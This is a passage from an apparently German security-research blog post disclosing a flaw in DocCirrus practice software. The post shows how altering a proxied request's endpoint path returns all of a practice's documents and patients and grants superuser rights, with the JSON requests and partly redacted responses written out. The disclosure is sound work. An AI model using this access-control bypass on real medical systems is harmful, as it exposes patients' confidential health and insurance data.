&lt;video playsinline autoplay loop muted alt=&#34;This is fine Gif&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/dokzirkus/thisisfine.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/dokzirkus/thisisfine.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;schock-3-wir-kennen-alle-dokumente-deiner-ärztinnen&#34;&gt;Schock 3: Wir kennen alle Dokumente deiner Ärzt*innen&lt;/h2&gt;
&lt;p&gt;Doch zurück zur Website:
Nachdem wir nun unsere Daten auch ohne Verschlüsselung abrufen können, beginnen wir, die Anfragen ein bisschen zu verändern&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Die ursprüngliche Anfrage, um die eigenen Dokumente abzurufen, sieht in etwa so aus:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;patientregid&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;remoteurl&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/1/document/:patientDocument&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;remoteparams&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;remotemethod&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Der dabei auf dem Praxisserver aufgerufene Endpunkt ist &lt;code&gt;/1/document/:patientDocument&lt;/code&gt;.
Also probieren wir aus, was passiert, wenn wir &lt;code&gt;/1/document&lt;/code&gt; aufrufen.&lt;br&gt;
Was dann passierte, hat uns schockiert:
Zurück kommt eine Liste aller Dokumente, die unsere Praxis gespeichert hat: Krankschreibungen, ausgestellte Rezepte, Diagnosen, Überweisungen an andere Ärzt*innen&amp;hellip; wirklich &lt;em&gt;ALLES&lt;/em&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;meta&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;errors&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;warnings&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;query&amp;#34;&lt;/span&gt;: {},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;itemsPerPage&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;totalItems&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;77447&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;replyCode&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wenn hinter &lt;code&gt;document&lt;/code&gt; eine Liste der Dokumente liegt, überlegen wir uns mal was es in einer Praxis noch geben könnte.
Na klar! Patient*innen.
Also probieren wir weiter und tauschen &lt;code&gt;document&lt;/code&gt; durch &lt;code&gt;patient&lt;/code&gt; aus.&lt;/p&gt;
&lt;h2 id=&#34;schock-4-wir-können-alle-infos-der-praxis-abrufen&#34;&gt;Schock 4: Wir können alle Infos der Praxis abrufen.&lt;/h2&gt;
&lt;p&gt;Und wieder antwortet der Server: Diesmal mit einer Liste aller Patient*innen, die der Praxis bekannt sind – viele tausend Einträge.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;meta&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;errors&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;warnings&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;query&amp;#34;&lt;/span&gt;: {},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;itemsPerPage&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;totalItems&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;17041&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;replyCode&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;_id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;talk&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;MR&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;firstname&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;OTTO&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lastname&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;TEST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;middlename&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;nameaffix&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;patientNo&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;999999&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;importId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;gender&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;MALE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;kbvDob&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;13.09.1936&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;dob&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1936-09-13T10:00:00.000Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;dob_DD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;13&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;dob_MM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;09&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;primaryDoc&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;accounts&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;affiliates&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;addresses&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;street&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Am Baum&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;houseno&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;34&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;zip&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;12345&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Berlin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;country&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Deutschland&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryCode&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;addon&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Test Hallo&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;images&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;insuranceStatus&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;insuranceNo&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;insuranceId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;104940005&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;insuranceName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;BARMER&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;isDeceased&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In der Liste steht zu den Patient*innen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Adresse&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Versicherungsstatus (mit Versicherung, Versicherungsnummer, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;Telefonnummer&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;teilweise verordnete Medikamente&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nach dem gleichen Schema wie &lt;code&gt;document&lt;/code&gt; und &lt;code&gt;patient&lt;/code&gt; gibt es noch eine Reihe weiterer Datensätze, die wir abrufen können.
Dazu gehören&lt;/p&gt;
&lt;!-- - Persönliche Daten der Patient\*innen [das haben wir ja schon darüber] --&gt;
&lt;ul&gt;
&lt;li&gt;Rechnungen, die die Praxis ausgestellt hat&lt;/li&gt;
&lt;li&gt;Alle &amp;ldquo;Aktivitäten&amp;rdquo; (der Sammelbegriff für Einträge in der Patient*innen-Akte)
&lt;ul&gt;
&lt;li&gt;Hier stehen auch Diagnosen, Überweisungen zu anderen Ärzt*innen&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Zertifikate für die Kommunikation mit dem TI-Konnektor (für die Abrechnung mit den Krankenkassen)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Außerdem finden wir dort das sogennante &amp;ldquo;Audit-Log&amp;rdquo;, eine Aufzeichnung aller Aktionen, die in der Software durchgeführt wurden.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/dokzirkus/auditlog.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/dokzirkus/auditlog.png&#34;
         alt=&#34;Screenshot aus DocCirrus-Werbematerial: Über den Audit-log sehen Sie stets, wer wann was gemacht hat, wer sich wann wo angemeldet hat und wer wann was für wen freigegeben hat&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot aus DocCirrus-Werbematerial: Über den Audit-log sehen Sie stets, wer wann was gemacht hat, wer sich wann wo angemeldet hat und wer wann was für wen freigegeben hat&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;dark&#39; data-side=&#39;right&#39; aria-label=&#39;Nachricht&#39;&gt;
	\o/ der Dienst hat ein Auditlog
&lt;/div&gt;

&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;dark&#39; data-side=&#39;right&#39; aria-label=&#39;Nachricht&#39;&gt;
	/o\ unsere Requests tauchen nicht darin auf
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Diese Aufzeichnung hätte ein nützliches Werkzeug sein können, um nachzuvollziehen, ob die von uns gefundenen Sicherheitslücken bereits vorher entdeckt und ausgenutzt wurden.&lt;/p&gt;
&lt;p&gt;Allerdings nützt das in diesem Fall vermutlich sowieso nichts – denn höchstwahrscheinlich können wir die Datensätze nicht nur auslesen, sondern auch verändern. Damit hätte ein*e Angreifer*in also auch ihre Spuren in diesem Audit-Log hinter sich wieder verwischen können.&lt;/p&gt;
&lt;p&gt;Wie wir später herausgefunden haben, können wir über den Blindproxy auch beliebige andere Aktionen ausführen, die eigentlich nur die Administrator*innen ausführen können sollten.&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Woran das lag? Der Blindproxy scheint allen Anfragen beim Durchleiten noch volle Zugriffsrechte zu geben.
So gibt es einen Endpunkt namens &lt;code&gt;whoami&lt;/code&gt; (&amp;ldquo;wer bin ich?&amp;rdquo;).
Ohne den Blindproxy sagt der Endpunkt uns, als welche*r Nutzer*in wir gerade angemeldet sind.
Aber wenn wir unsere Anfrage durch den Blindproxy schicken, antwortet er so:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;meta&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;errors&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;warnings&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;query&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;itemsPerPage&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;replyCode&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;su&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;identityId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;000&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ip&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;su&lt;/code&gt; ist der Superuser, also gewöhnlich der Account, der alles darf.
Was wir damit auf den Praxisservern verändern können, probieren wir aber lieber nicht aus.&lt;/p&gt;
